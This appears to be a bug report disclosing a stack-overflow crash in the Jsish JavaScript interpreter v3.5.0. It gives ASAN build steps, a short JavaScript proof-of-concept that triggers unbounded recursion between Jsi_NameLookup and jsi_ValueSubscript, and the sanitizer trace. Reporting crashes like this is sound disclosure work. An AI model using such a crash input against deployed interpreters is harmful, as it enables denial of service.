Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS=’-fsanitize=address’ make

Test case

function JSEtest(Function) { var a = Array.prototype.push.call(a, 42, 43); } for (var i = 0; i < 25000; i++) { JSEtest(Array); }

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Execution steps & Output

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL

==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0) #0 0x7f6abd3fb1e5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) #1 0x5571122680fd in Jsi_NameLookup src/jsiUtils.c:413 #2 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #3 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #4 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #5 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #6 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #7 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #8 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #9 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 … … … … … … #246 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #247 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #248 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119 #249 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466 #250 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119

SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) ==9209==ABORTING

Credits: Found by OWL337 team.